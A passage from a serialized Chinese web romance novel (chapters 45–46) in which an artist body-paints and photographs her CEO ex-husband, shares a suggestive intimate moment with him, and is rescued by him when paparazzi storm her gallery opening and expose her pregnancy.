而她的第一笔,竟然是由陆沉渊,来握着她的手,共同完成的。 “可以睁眼了,”陆沉渊低沉的声音,哑的厉害,在她耳畔再次响起,握着她的手指,并未松开。 姜绒白皙小脸绯红,缓缓睁开了颤抖的羽睫,看向自己刚才画出的第一笔。 接近于太阳的,带了细闪亮粉的赤金色颜料,意外的和陆沉渊冷白的肤色,非常搭配,落在他身上,璀璨而好看,与他浑然天成的矜贵气质相融,令人移不开眼睛。 “怎么样,能继续吗?”陆沉渊一双黑眸锁住她,隐隐透着红,向她问道。 姜绒深吸了一口气,点了点头:“可以继续,我自己来。” 去除杂念,专注艺术。这是自己创作时,应该有的修养,她在心里提醒了自己许多遍。 姜绒的指腹,再次蘸取了一些赤金色的颜料,这次沿着陆沉渊锁骨往下,到达胸肌的轮廓,腹肌的沟壑。 随后,在他高大身影转身后,沿着他肩胛骨的轮廓缓缓滑动。又用了绿色的染料,贴合在他脊柱的沟壑上,细细画出枝叶,犹如一颗绿意盎然的生命树。 每一次落笔,都伴随着她呼吸的震颤。 陆沉渊肌肉绷紧,必须极力克制,自己的感觉。 他的呼吸变得粗重,身体紧绷如弓,伤口的手臂,微微颤抖,但他遵守着“画布”的守则,一动不动。 事实上,他享受这种极致的、被支配的快感,这如同一种无声的、汹涌的臣服。 二十分钟后,姜绒停下了自己的“画笔”,满意的看向自己的成果。 她所选取的这些颜色,在陆沉渊冷白的肤色上,极其明显,效果令她十分满意,此刻,他确实成为了,她亲手打造的一件艺术品。 陆沉渊低头看向身上,姜绒在他身上留下的杰作,那些干涸速度极快的颜料,向她沉声问出了口:“你的画都完成了?那署名呢?” 署名?姜绒脸上红了一下。 他还真是哪壶不开提哪壶,她确实习惯在自己的画作上署名,但她的署名方式,和其他任何画家都不一样,完全与众不同,独一无二。 “嗯?姜大画家,我不是你的作品吗?”见她没有回答,陆沉渊离她更近了,那副画了颜料,如同古老热带部落里,散发着最原始美感的身体,离她更近了,声线极其勾人。 姜绒绯红着脸,低下头去,用行动回答了他的追问:“我……我署名就是了。” 她用温热的蓝色颜料,将整个小巧的掌心涂满,然后伸手,熨烫在陆沉渊心脏的位置,感受着他有力心跳的同时,轻轻画出了一个不规则的、跳动的漩涡。 这个漩涡于姜绒而言,其实就代表了陆沉渊本人。 未知、危险,与她所处的海域截然不同,却引着她,一次又一次,止不住往里跳。 漩涡完成后,姜绒拿出了自己白色长裙兜里,名为炽爱的口红,仔细将整个唇涂满以后,她红着整张脸,在那个蓝色漩涡的中心,印下一个清晰而潮湿的吻痕。 这就是,她对自己作品,特立独行的署名方式。 陆沉渊呼吸一滞,瞳孔紧缩了一下,在她触及的那一瞬间,心脏几乎停止了搏动,久久未曾平息。 “这下都完成了,只需要留下照片了。”署完名,姜绒迅速起身,拿起了放在一旁的徕卡相机,满意的端详着,自己的这幅艺术作品。 陆沉渊没有说什么,一双红到发烫的黑眸,牢牢锁住她,配合她的要求,完成了一系列不露脸的特写摄影。 姜绒贴近他,细细的拍摄下了,一切有自己彩绘存在的地方,无论是他喉结锁骨的赤金纹线,还是胸前的漩涡,以及后背肩胛骨上的生命树。 他的身材实在好的像雕塑,随便一摆动作,也比画报上的模特,要好看数十倍。 “实在是太好看了,艺术感也很强。陆沉渊,你有没有想过,你这条件,其实还可以去做奢牌模特的,也能把自己养得饱饱的。” 姜绒满意至极,一边拍,一边忍不住向陆沉渊夸出了口。 对方没好气的翻了个白眼,自然一句话也没有搭理她。 瞄了一眼,他的表情,完成了拍摄,放下了相机的姜绒,在心里偷笑了两声。 身家千亿的陆氏集团总裁,怎么可能为了只是吃饱饭,而屈尊降贵去做个模特呢?能当她的模特,都已经是万年难得一见,格外开恩了。 然而,下一秒。 她手里的相机,被男人宽大的手掌一把夺过,放到了一旁。 随即,她整个人,都被拥进了陆沉渊怀里,被放在了他腿上,对方目光灼灼,一双炙热的黑眸锁住她,温热的指腹,擦过她唇瓣上的红,声音喑哑至极: “你的画完成了,我的回报是什么?” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! 第45章 第四十五章 还不够。 姜绒红着脸, 还未来得及,向他反问,什么叫做回报。 湿热的吻, 却顺着她身上的白裙,一路下滑。 这下她连惊呼也不得不吞进嘴里去, 很快诚实至极的,用浸湿的布料,回答了一切。 她现在不得不开始思考, 陆沉渊那句话, 说的或许是对的。 无感就是超感, 而她的超感, 偏偏只针对一个人。 毕竟在那样新奇的, 她从未接触过的方式之下, 对方也不算熟练, 毫无技法可言,患上了hsdd的自己,怎会兴奋成了,那副她全然不曾幻想过,自己会有的陌生模样。 幸好, 陆沉渊没有再为难她,懂得见好就收。 他抬起头来, 骨节修长的手指, 抚过唇畔那颗小小的痣上,抹去晶莹剔透的珠水, 冠冕堂皇的说着,为了孩子着想这类的话。 完好的那只手臂,毫不费力的将浑身绯红, 瘫软无力的她,单手抱起,高大的身影站起来,就大步往浴室内走去了。 然而,指甲花做成的天然颜料,却没有那么好掉的。 热气腾腾的浴室里,被安置在洗手台上铺好的羊绒垫上坐好的姜绒,偷笑了一声,有些得意。 谁能想象到呢,冷血残酷的陆氏集团总裁——陆沉渊,那身规整禁欲的三件套式黑色西装底下,留有她亲手画上去的鲜艳手绘图案。 然而,下一秒,陆沉渊那张轮廓深邃的脸,眉眼清晰的脸,却穿过雾气,径直出现在了她面前,湿漉漉的黑发还贴在额角,朝她扬了扬唇:“贴上。” 被当场捉包的姜绒,立即收敛了笑容,仰头看去,才明白了,他说的是什么,是他嘴里衔着的,一块被他撕掉了包装纸的创口贴。 姜绒红着脸,伸出白皙纤长的手指,拿过那张创口贴,撕开后,扬起手臂,轻轻竖着,平整的贴在了陆沉渊形状明显的喉结上。 刚刚好,能够覆盖那根赤金色的线纹,却也瞬间令别人,多了几分遐想的空间。 “看来守在你们公司楼下,那群等你的美女们,都该觉得自己失恋咯。”姜绒朝他调侃了一句。 她整个人却再一次被他湿漉漉的贴近,搂得更近了,对方磁性而性/感的声音,低沉沙哑,几乎穿透她胸腔:“你刚才的回报还不够,可以留着,慢慢还。” 听了这话,姜绒再也不敢多嘴,面红耳赤,极度老实的低垂着一双鹿眼,不敢再造次。 出了浴室,姜绒肚子迅速响了两声:“我肚子好饿啊,你孩子正踢我呢,我们去吃午饭吧。” 陆沉渊点了点头,领着她走到了偌大的客厅里,高大的身影,却径直走向了开放式厨房里:“我的主厨,这几天回国休假了,我来给你做吃的。” “好呀,你还会做饭啊?”听到这句话,在开放吧台前,坐下的姜绒,一脸惊喜的仰头,一双鹿眼望向他问道。 在她印象里,他这种循规蹈矩,一日三餐都只吃固定搭配菜单的人,竟然还会自己做饭,实在是反差极大。 陆沉渊的表情,有些微妙的不自在,冷白的脸上,泛起一丝可疑的红:“是最近才学的。” “哦,那你还挺好学的。”姜绒夸赞了他一句。 果然,自己猜的没错,养尊处优是陆沉渊这种含着金汤匙出生,家境比她好了数百倍的人,拥有的特权与习惯。 亲手做饭这种事情,基本上是不会存在的。没准陆沉渊连葱和芹菜,都分不清楚呢。 “我来帮你备菜吧,你告诉我要做些什么。” 看着他高大身影,走到料理台前时,姜绒视线兀然触及他手臂上的白色绷带,赶忙走到他身边,撸起袖子,朝他说道。 陆沉渊却摇了摇头:“不必了。” “真的,我厨艺可是很好的哦,刀功也不错。”姜绒信心满满,试图说服他。 毕竟她是高中时期就去了国外,佣人休假的时候,以及怀念自己家乡菜肴的时候,她就会自己动手做,倒也无形之中,培养出了一手好厨艺。 陆沉渊却兀然看向她,语气里多了些其他意味,向她反问:“所以,你厨艺好,是在国外的时候,和那个厨子学的?” 姜绒噗嗤一声笑了出来,她自然知道,他说的厨子是指谁,自然是指周野,她很佩服对方的发散能力。 “我能去哪儿学呀,都是自学的,在网上看视频看教程学的,不然也养不活自己这张馋嘴。”她回答陆沉渊道。 陆沉渊的表情里,多了一抹如释重负,似乎终于放下心来了一些,却又不放心的叮嘱了一句: “那个厨子也不是什么好人,混混出身,你少跟他接触。” 姜绒差点再一次被逗笑,这两人还真是,说起对方坏话来,都根本不留余地。 看着陆沉渊从冰箱里,将食材和配料,拿了出来,无比精准的开始控制配比,甚至连量杯都拿了出来,根本不像是在做饭,而是准备开始做什么实验时。 姜绒已经皱起了秀气的眉,心里有了些不详的预感。 而当看着陆沉渊戴上眼镜,剥完洋葱,随即用那只完好的左手拿刀,歪歪扭扭的切好了洋葱,又将活蹦乱跳的蓝龙虾,放进蒸锅里蒸熟以后,用手挑起了虾线,剥龙虾壳,将可怜的龙虾弄得残缺不全,又冷水下锅,煮起了意面以后。 被迫胆战心惊,提心吊胆的看着他,磕磕绊绊的做完了这一餐饭的姜绒,甚至已经觉得自己不饿了。 其实,她也不是非吃不可。 然而,陆沉渊,已经将那些食材装好,并且尽他可能的,摆了个盘,端到了姜绒面前:“好了,可以吃了,洋葱烩奶油龙虾意面。” “嗯,闻起来很不错!”姜绒手握叉子,假装惊艳的深深闻了一口,那散发着奶油汤甜腻的意面,夸赞道。 陆沉渊的表情里,果然多了一丝期待:“那你快尝尝吧。” “好”姜绒点了点头,握紧手里的刀叉,在心里做足了心理准备,又深呼吸了一口气以后,这才视死如归的,卷起了一把意面,往嘴边送去。 陆沉渊那双黑眸锁住她,似乎不愿意放过,她脸上一丝一毫的表情变化。 姜绒被那甜腻发齁的味道,深深地震撼到了,终于忍不住问了一声:“陆沉渊,你这个做法,该不会是在烹饪书上学的吧?” “嗯,就是你认识的那个厨子出的。”陆沉渊骨节修长的手指,推了推鼻梁上的眼镜框,脸上多了一丝不自在,回答她道。 姜绒内心更觉得震撼不已,这样一个考究严谨、看起来除了金融以外,什么也不喜欢的人。 竟然会私下里,偷偷去看周野出的烹饪书,并且按上面的方法学习烹饪,来做给自己吃? 这反差也太大了吧。 但与此同时,姜绒也发现了,陆沉渊这样的学霸,也有唯一不擅长的东西,那就是厨艺! “呵呵,你确定那本书,不是盗版吗?”姜绒一边搅着盘子里的意面,一边低笑着调侃了陆沉渊一句。 对方显然不上套,一双黑眸只是紧盯着她,胜负欲极其明显,显然是拿他自己的厨艺,和米其林三星主厨来比了。 怕对方多想,一向嘴叼的姜绒,这一刻也不再挑剔了,风卷残云般的将蓝龙虾塞进嘴里,吃完还不忘,诚意十足的劝说了陆沉渊一句: “你做得很好,下次还是别做了。专业的事,还是交给专业的人吧。” “不。”陆沉渊的拒绝,直截了当,非常简单。 他高大的身影站起来,将她面前的白色餐盘收走,又不动声色的转身,将书柜上厚厚的烹饪书拿下来,继续研究了起来。 看着他背影,姜绒摇了摇头,不由在心里感叹,果然,他是从小到大,在父母严格要求下长大的学霸,又是集团总裁以及事务所创始人,胜负欲,实在不一般的强。 第二天早上五点,姜绒醒了,她还记得今天是什么日子,是她艺术馆的首展,开展时间在早上八点。 身旁的人,还未醒来,骨节修长的手指搂在她肚子上,温热的掌心,直接熨帖着她的皮肤。 这人睡得还挺香。 姜绒脸上红了一下,在不惊动他的情况下,快速起床穿好了衣服。布布已经在昨晚,由陆沉渊派人直接送去林晚家里了,而今天送她去艺术馆的司机,也早就由他安排过了。 白色的加长版林肯车,将她送到了艺术馆门口后,她立即上了楼,去自己的休息室里,做今天专为艺术馆首展而设计准备的妆造。 “服装老师,麻烦你给我一条能够遮住腰身和肚子的长裙就好了。”她快步走到早已在待命的形象设计团队面前,向服装师说道。 对方目光落在她有些微微凸起的肚子上,点了点头:“好的,可以用白色的貂皮披肩来遮盖,我们的披肩是有暗扣的,刚好能遮住腰腹。” “那太好了,那就快点开始吧。”姜绒满意的点了点头,在化妆镜前,坐了下来。 “姜老板,早啊。”林晚已经快步走了进来,向她打了声招呼。 姜绒忙朝她问道:“昨天下午我送去的那一系列的作品,已经收到了吧?按照我的要求,布置好就可以了。” “收到啦,就摆在画展C位中心。想不到啊,姜大摄影师,你真有办法,那组作品是真的拍得很有艺术感,标题也取得很绝,你到底是怎么想到的啊?” 林晚在她身旁坐下,回答她道。 姜绒脸上红了一下,昨晚她给陆沉渊拍摄的那一系列照片,取了一个名字,就叫《瘾》。 这个名字的由来,她自然不可能告诉林晚。 于是她打了个马虎,迅速转移了话题:“那布布呢?到你家怎么样?吵不吵,我哥有没有跟你打视频?” 这下轮到林晚脸红了,她低下头表情有些害羞:“挺吵的,一去就把我沙发咬坏了。” “我加了姜曜微信,他说过两天有空就会和我视频,看看布布的状况。” 姜绒叹了口气:“唉,那不是你新买的沙发吗?果然啊,智障就是智障,晚,你还是做好和它斗智斗勇的准备吧。” “智障?布布吗?”林晚却愣了一下,看向她。 姜绒点了点头:“对啊,我哥没跟你说吗?” “没有,我还以为它很聪明呢,还知道闯人浴室,之前你和我打视频电话的时候……”林晚却摇了摇头,接着向她说道。 姜绒脸上瞬间飞起一片红云,打断了她的话:“咳,晚晚,你再去检查一下展出的情况呗,今天会来很多贵宾,万一出现什么纰漏就不好了。” “好咧,姜老板。”林晚没再说什么,站起身来,迈开干练的脚步,就往外走去了。 看着她离去,姜绒这才放下了心来。 那天和林晚打视频的时候,在她身边的,才不是什么狗呢,是陆沉渊啊,差点就露馅了。 “您现在已经三个月了吧?肚子看起来圆圆的,感觉里面是个漂亮的小棉袄呢,您有想过要女儿还是儿子吗?” 给姜绒化妆的化妆师,却兀然望向她镜子里,还未穿貂皮披肩遮盖的肚子,向她问了一句。 姜绒点了点头,朝她笑了一下:“是什么都可以,都是上天赠予我的礼物。” 望着镜子里的自己,她忍不住,伸手轻轻放在了肚皮上,现在她时不时,能感觉到,里面小小的生命在游动,轻微的胎动。 她和陆沉渊的孩子,会是儿子还是女儿呢?会像自己多一点,还是他多一点呢? 这些问题,她确实还没有想过,甚至有时候,会故意忽略掉,自己已经怀孕了这个事实。 但此刻,因为化妆师充满期待的这句问话,她心里兀然也升腾起了许多美好的期望。 纵使,陆沉渊童年失和,使得他心里的阴影深重,但她心里莫名有一种自信。 自信于,就像他有那种奇妙的能力,治好自己的hsdd一样,自己也能将他治愈。 时间很快来到了八点,万事准备就绪的姜绒,和林晚一起站在铺了红毯的艺术馆前迎接首批宾客的到来。 姜绒的红发被挽成簪,插了一根有意韵的玉钗,并随意的垂了几根发丝下来,更加衬托得她饱满小巧的头颅,与充满灵气的精致五官,相得益彰,令人移不开眼来。 她身上则穿了一袭艺术感极强的古典风丝绒绿色长裙,以及一件白色貂皮披肩,慵懒而贵气,垂在腰腹间,刚好遮住了肚子。 陆陆续续前来打卡的宾客,以及看展的观众,将她包围,争先恐后欲和她握手: “好漂亮啊!您就是绒息艺术馆的创始人姜绒吗?长得好像明星啊!实在太上镜了!我能跟您合照吗?” “对啊,听说她还是水墨画大师苏砚清大师,以及艺术鉴定大师姜新鸣的女儿,伦敦圣马丁艺术学院全优毕业生呢!” 还有人,一边看着这场感官艺术的主创介绍单,一边向身旁的人认真介绍。 这一通彩虹屁下来,饶是厚脸皮的姜绒也觉得有些害羞了,但还是忍了下来,和热情的宾客们一一合照。 而当艺术馆门口的车越来越不一般,稀有的豪车扎堆,前来的宾客身份越来越不一般,她才逐渐明白了,林晚所谓的放出了消息到底是什么样的程度。 这场展出,竟然把凛川市艺术界、政商界所有的大佬,全部请过来了。 “晚晚,你人脉不一般啊,不容小觑,这些人都是你发了邀请函,邀请过来的?” 望着身穿华服,气度不凡的客人们,和她打了招呼以后,往展馆内走去,姜绒忍不住向身旁的林晚夸赞道。 “哎,那不是凛川艺术协会会长还有副会长嘛,这些人我好像没有邀请啊……” 林晚却有些懵圈,挠了挠头,拿着手里的单子对人,硬是对出了一堆,她这能力,还没办法邀请到的业界大牛。 一道熟悉的声音,却兀然在姜绒耳边响起,正是江之晏: “妙。姜绒,看来你的才华,远在我之上啊,大家冲着我来的,却全在你的作品面前拍照了。” 听到她这句话,姜绒转身看去,却正好看到,被放在本场展出C位,入口的位置,被自己命名为《瘾》,特意调成了极有格调的黑白色,只突出皮肤纹路上彩绘画的陆沉渊的照片,围满了拍照打卡的人。 时不时还有感叹声在她们耳边响起: “这几张照片也太有感觉了吧!好震撼啊!模特身材太顶级了!” “这是人体艺术手绘吗?好有性/张力啊,那种暗戳戳的感觉,和江之晏感官艺术的画,格调很搭啊!” “作者好像就是艺术馆的创始人,老板娘呀,她太牛了,审美好绝呀!” 姜绒被夸得脸上都红了起来,心里却美滋滋的,得瑟的很,看来自己的思路是对的,特立独行,才不会被江之晏的画淹没。 但看着那些小女生们,举着相机,对着陆沉渊的照片犯花痴,她还是觉得有些酸酸的,自己这一把,是不是玩的太慷慨了,虽然他并没有露脸,也没有露出任何关键性的地方。 “陆总,您也来了!这是我的名片,方便的话,能不能请您给个机会收下!” 一道道热情巴结的声音,此刻却兀然在她耳边响了起来,亦吸引了江之晏的注意力。 姜绒回头看去,正好撞进了一双炙热的黑眸里,正是一身禁欲的黑色定制西装,身材高大,脖子上还贴着创口贴的陆沉渊。 他似乎永远一种超能力,就是在无数望向他的人中,总能够以极快的速度,找到她的存在。 他怎么还专门来了自己这里一趟? 视线交汇中,姜绒脸上红了一下,身上的温度在极剧攀升,毕竟是昨天当了她的私人模特,给了她奇特体验,今天早上还躺在一个被窝里,搂着她不松手的存在。 不想被任何人发现端倪,包括身旁的林晚,姜绒假装自然的侧过身去,接待宾客,不再看香槟台前,被男男女女们,迅速围了一圈的陆沉渊。 果然,他这种处在顶端的人,与普通的“贵客”完全不可同日而语,一经出现,就是人群中的焦点,是艺术界、政商界都想要拼命巴结的存在。 姜绒漫不经心的喝着手里的甘蓝汁,耳朵却不放过,不远处,陆沉渊身边的一切动静。 一道娇软的女声兀然响了起来,夹杂着刻意的扭捏与羞涩:“陆总,想不到您也在这里,我是众娱的新晋演员—优米,很高兴认识您。” 姜绒赶忙偷偷转头瞄了一眼,那是一张熟脸,她最近追的小火电视剧上,长相清纯的小白花女一号。 想不到自己的艺术馆,还能吸引这样小有名气的的女明星到来?莫非是醉翁之意不在酒,她们早就打听到了,陆沉渊会出现在这里? 姜绒忍不住这样怀疑。 “请问能有幸跟您碰个杯吗?”那位女明星,纤细的手臂举起手里的酒杯,继续向陆沉渊问道,眼里的媚意和讨好,几乎快溢了出来。 姜绒轻咳了一声,眼角余光,却没有放过陆沉渊,一丝一毫的动作。 “不方便。”对方冷着一张脸,冰山一样,看不出任何表情,回答只有简短的三个字。 姜绒却心满意足,差点笑出声来。 果然,还是那个自上学起,就习惯令各种各样,形形色色的女人,在他那里碰壁的陆沉渊。 那位女明星,却并不打算放弃,不顾其他人正热情的巴结着陆沉渊,讨论商业上的问题。 端着酒杯,径直走向了他身边,脚边适时的滑了一下,就要向陆沉渊身边倒去。 都什么年代了,还耍这种伎俩?一边喝果汁,一边欣赏这出闹剧的姜绒,完全转过了身来,在心里感叹。 果然,陆沉渊的动作更快,他高大的身影,向旁边微妙的移了几步,那名女明星窈窕的身体就扑了空,握着手里的红酒杯,差点狼狈的摔倒在了地上,红色的酒液,全数洒在了白色的地毯上,显眼至极。 这可是她花了大价钱,请设计师设计,专门空运过来的定制地毯啊! 姜绒鼻子差点气歪,这下有了不得不管的理由,气场强大的走到了他们面前,看向那名女明星: “这位小姐,请你注意一下。我们艺术馆的地毯,是由大师专门手工制作的地毯,弄脏是需要照价赔偿的!” 那名小明星很快认出了她的身份,听了她的话,脸上白了一下,尴尬的撩了撩发丝: “对不起,姜馆长,这只是个意外。我也是专程为了看您的画,才来这里的,我可以在vb上,给您的艺术馆宣传宣传,您看怎么样?” 听到她这话,姜绒也不便再发作什么,只得缓下脾气来。 那名小明星,却似乎怕她不依不饶,再度奉承起了她来,指着展馆C位,她那副作品,径直夸赞的问出了声来: “姜馆长,您这几幅作品,实在是非常完美,令人耳目一新,过目不忘,请问您这副照片上的模特是谁呢?” 姜绒红着脸,差点被嘴里鲜榨的甘蓝汁呛到,完全没有想到,对方会兀然朝她问出这样的问题来。 她余光看去,陆沉渊脸上不仅没有任何羞耻之感,甚至还径直站到了她身后,一双勾人的黑眸,好整以暇的看着她,似乎想知道,她会有什么反应。 而现在,除了自己,有谁能够想到呢? 她这幅画的模特,就是一脸冰冷禁欲,三件套定制规整西装,一丝不苟,远在天边,近在眼前的陆氏集团总裁——陆沉渊呢! “是啊,绒绒,我也想知道。你这照片的模特是谁啊?其实我昨天收到这几幅照片,就已经想问你了。” 站在姜绒身旁的林晚,亦因为这句提问,而起了兴趣,望着她,兴奋的追问出了口。 毕竟,林晚是知道姜绒有hsdd这个病的,而短短一天的时间,她就能够找到模特,并画出拍出这样富有艺术感,而且符合主题的照片来,实在超出了她的想象。 “咳……”姜绒假装咳嗽,白皙的耳根发烫,小脸绯红,正尽力在脑海里组织着语言,思考在众目睽睽之下,自己怎样回答比较合适。 此时,她手上却传来了一阵奇妙的温热触感。 与此同时,雪松的特殊冷香味,自身后飘进她鼻间,令她浑身差点颤抖了一下。 姜绒在人群缝隙里,艰难的低头看去,脸上瞬间绯红一片,正是看戏不怕事大,站在她身后,高了她好几个头的陆沉渊。 他用他骨节修长的手指,勾住了她白皙修长的小拇指摩挲,竟然在这种场合,众目睽睽之下,就这样明目张胆的,与她暗暗调起了情来…… 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! [害羞][撒花][撒花] 第46章 第四十六章 他是安心所在。 “你别……”姜绒红着脸回头望向他, 艰难的用口型,向他说出了两个字。 下一秒,一阵嘈杂的脚步声, 伴随着镜头咔嚓声,兀然自他们耳边响了起来。 她迅速抬头看去, 竟看到一群狗仔队,正举着长枪短炮,往艺术馆内冲了进来。 “你们不可以进来的, 没有购票, 不能私自闯进艺术馆里。”馆内的接待员和安保人员, 艰难的阻挡着这群人前进。 但这群人有二三十个, 而且训练有素, 动作极快, 犹如一个团队, 三个人根本挡不住。 姜绒只觉得匪夷所思,自己的艺术馆,怎么还能吸引一群狗仔队的进来呢?自己又不是什么明星,或者公众人物。 “她就是姜曜的绯闻女友!”一道惊呼声兀然在人群里响起,是有人看到了她。 随即足以闪瞎她眼的灯光, 直照在她脸上,瞬间亮了起来。 “对, 就是她!她们俩还同居了, 还住在同一个地方,经常坐一辆车回家!”立即有人附和了起来, 有如饿狼扑食般,蜂拥而至,将她围成了一圈。 艺术馆内本就人潮众多, 因为这异动而骚乱了起来,连香槟塔都被慌乱的人群推倒,玻璃杯尽数倒在地上,发出刺耳的脆响。 “不是吧!我和姜曜一个姓,你们还能把我当成他绯闻女友?”姜绒一手护着肚子,一手捂住自己的脸,冲那些狗仔们喊道, 然而,她的声音微不足道,反倒因为她的动作,手臂上的白色貂皮披肩脱落,露出了她凸出的孕肚。 闪光灯越发剧烈了,无数镜头又对着她拍了起来:“她怀孕了!我的天啊,该不会是姜曜的孩子吧?” “真的假的?这消息太劲爆了,姜曜现在可是正当红的偶像乐队歌手啊,他有私生子,这是塌房了吗?” 一些参展的观众也围了上来,拿出手机拍起了照,并对此议论纷纷。 姜绒心里黑线无数条,再次被这些人的智商给深深震撼到了。 “绒绒,小心!”林晚也被这情况吓了一跳,她自然知道姜曜现在是特殊时期,安全非常重要。 但她的小身板很快被集中过来,看热闹的人潮,给挤跑了,于是她也只能跟着人流跑,眼睁睁的看着姜绒,被困在闪光灯中央。 姜绒逐渐觉得不舒服了,这样的场景,以及流通度不够的空气,令她开始觉得不适,胃里翻江倒海,直想吐。 下一秒,她纤细的手腕,却被人一把握住了,对方掌心温暖,将她握得极紧。 与此同时,一件宽大的风衣外套,带着雪松的香味,犹留有余热的体温,披头盖下,将她整个人都隔绝在了刺眼的闪光灯之下。 “那不是陆氏集团的总裁陆沉渊吗?莫非他和姜曜的地下女友,关系也不一般?这女的关系也太混乱了吧?” 反应过来以后,更多人朝着陆沉渊那张脸拍了起来。 然而,陆沉渊个子极高,表情又极度冰冷阴沉,身上的气场强大到令人发怵,令不少狗仔们,都有些不敢再拍。 他宽大的手掌搂住怀里的姜绒,冷冷的向那些人启唇,说出了两个字来:“让开!” 空气仿佛瞬间凝固了,那些人被他不怒自威的震慑吓到,也变得安静了许多。 一条小路被人群自动让开了来,他长腿一迈,带着姜绒,往远离人群的方向走去了。 风衣底下的姜绒,脸色发白,手脚都有些发冷,纤长的手指,紧紧的握住陆沉渊宽大的手掌,跟他一步一步往外走去。 明明平常不觉得远的路,在此刻,却比她想象中还要远的多,但因为身旁,有那个身材高大,将她护得极好的人存在的缘故。 姜绒再一次体会到了,那种安心的感觉。 只要陆沉渊在她的身边,就永远有办法来解决问题,仿佛她的整个世界,永远会完好无损,并得到他的庇护。 “还好吗?”似乎是感觉到了她身体因为冰冷而产生的细微颤抖,走到艺术馆门口,陆沉渊宽大的手掌,轻轻将盖在她头上的风衣外套拿下,柔声朝她问道。 整张小脸有些发白的姜绒,仰起头来看向他。 头顶刺眼的阳光,倾斜而下,落在她身上,身后人群的喧闹声,以及刺耳的闪光灯,仍在不断亮起、响起。 但对上陆沉渊那双有神的,牢牢锁住她的黑眸,望着他那张被镀上了一层金色光晕,轮廓极度深邃好看的脸。 姜绒在这一刻几乎忘记了呼吸,心动到了无法言喻的程度,她兀然觉得,自己和陆沉渊,就如同灾难片里,一对末日出逃,躲避丧尸和枪林弹雨攻击的落难情侣。 他们就应该天生一对。 “上车吧。”没有再等她回答,陆沉渊高大的身影微微一蹲,有力的胳膊便穿过她膝弯,一把将她从地上轻松公主抱起,向杨西停好的劳斯莱斯幻影上迈去。 骑着机车的周野,赶到艺术馆门口时,刚好就看到了这刺眼的一幕。 比起在自己车上时,仅仅只是想替她系个安全带,姜绒脸上就瞬间浮现出的惊恐、害怕,甚至是厌恶的表情,此刻,在陆沉渊怀里的她,完全不同。 在英国那几年,自己无论如何,再小心翼翼,也未曾拥有过,与姜绒有任何亲密一些,超越朋友的,肢体接触的机会。 他的位置永远只是,友达以上,恋人未满。 周野甚至开始猜测,或许如同抑郁症一般,她在与异性的肢体接触方面,亦存在某些难以克服的心理阴影。 然而,此刻,他的一切猜测和小心翼翼,都没有了任何意义,化为了虚幻的泡影。 因为,此刻,姜绒整张脸都埋在陆沉渊宽阔的怀抱里,纤瘦的身体,被他抱起,小鹿一般全身心的依赖着他,上了他的豪车。 她脸上的表情,是那样安心,如同倦鸟终于找到了归途与久违的巢穴。 那是在英国几年期间,见到过她的彷徨与低落,见到过她如同一朵,总也干不透的忧愁丁香花的自己,从未见到过的表情。 林晚艰难的跑到了艺术馆门口,看着一辆白色的劳斯莱斯,在狗仔队的围追狂堵之下,艰难的驶离,这才放下了心来,姜绒大概率是在那台车上。 关键时刻才能看出来,她这前夫陆沉渊倒还是挺靠谱的。 林晚对自己这高中同学的看法也有了些松动,至少刚才,他拨开拥挤的人群,推开挡路的狗仔,一把握住姜绒手腕,并利落将她带走的场面,还是非常帅气,而且令人印象深刻的。 更令她觉得不同的是,自高中时代开始,陆沉渊那双冷酷至极,没有任何感情波澜的眸子,刚才在看向自己闺蜜的时候,里面盛着的东西,非常不一样。 虽然,林晚无法形容,那种感觉,但她在心里确定了一件事情。 姜绒和她这前夫,肯定有一腿! 想起更重要的事情,林晚立即拿出自己手机,发出了几条微信:【姜曜,狗仔队的人,把你妹妹的艺术馆闯了,还拍了她很多照片,说她是你的地下绯闻女友。】 【你需不需要发一份律师声明来澄清这件事?我可以帮你起草。】 几分钟后,她的手机弹了一下,姜曜的回答,极其简单粗暴:【我艹!必须写!】 “让一让。”此时,一个手持摄像机的男人,走下艺术馆台阶时,差点撞到了周野身上。 周野脸色不悦,一把提起了那人衣领,向他质问:“是谁让你们来这里拍的?” “是……是一位姓乔的小姐,叫乔安安,告诉的我们线索的。”那人脸色发白,被吓得差点说不出话来,语无伦次的回答周野道。 周野这才放开了他,转身径直离去。 “他们没有再追来了吧?”姜绒透过车窗玻璃,担忧的向外看去,生怕再看到任何闪光灯亮起,或者可疑的人跟车。 陆沉渊低沉而高听的声音,自她脑后响起,语气很缓:“放心吧,我已经安排了人,去引开他们。” “那太好了,谢谢你,陆沉渊,刚才要不是你的话,我真不知道该怎么办,” 姜绒转过头来,看向他那张眉眼深邃的脸,红着耳根向他道起了谢。 刚才,要不是他及时出现,会造成什么样的后果,姜绒根本不敢想象。 事实上,她还有些印象,高中的时候,陆沉渊就是很不喜欢镜头,也不喜欢被拍的那一个。 昨天,他能够为了她的作品,给她拍摄一组,不露脸来的身体特写,估计已经是他最大的极限了,遑论刚才要被狗仔队们,用长枪短炮,怼脸拍摄。 姜绒还记得,高一校园运动会期间,不少女生都带来了相机和手机,想要偷偷拍几张自己暗恋的男生照片,或者班草、校草,在球场上的英姿之类。 作为校花,她亦成了很多男生在球场上故意表现,吸引注意,或是送各种礼物以及表白信的存在。 那几天的时间,她甚至不敢去学校的运动场上,毕竟她也不愿意,再当面收到几封,带着汗渍,黏黏糊糊,字写的歪歪扭扭的体育生表白信,弄得她陷入扔也不是,收下又觉得恶心的场景里去。 直到运动会的最后一天,姜绒的同桌,非拉着她去看一场比赛,眼睛放光,神秘兮兮的对她说: “你不是不爱去操场上,嫌那臭嘛!有个地方你绝对喜欢,而且咱们班上种子选手的最后一场,决赛就在今天!绝对精彩!” 于是还搞不清楚状况的她,就这么被生拉硬拽,扯着胳膊,下了楼,奔去了学校的室内体育馆里。 而不远处,果然围了不少人,在喝彩并观看,两个身穿白色击剑服的人,正戴着头盔,目不斜视,汗如雨下的进行着决斗。 两个人,身姿矫健,一个个子较高,一个个子则略矮,姿态优雅,却藏着凌厉的剑气,一退一进间,打得有来有回,似乎不分伯仲。 但姜绒注意到了,个子较矮一些的那个,动作更加灵活,刺出去的剑,似乎每一下都经过计算一般,刺得极稳,而且极准,每次都能刺到对方的要点部位。 “好帅啊!太帅了!”她耳边时不时传来同桌,极其花痴的惊呼声,而她也不好意思打扰对方欣赏比赛,追问她,自己班上那个种子选手到底是谁。 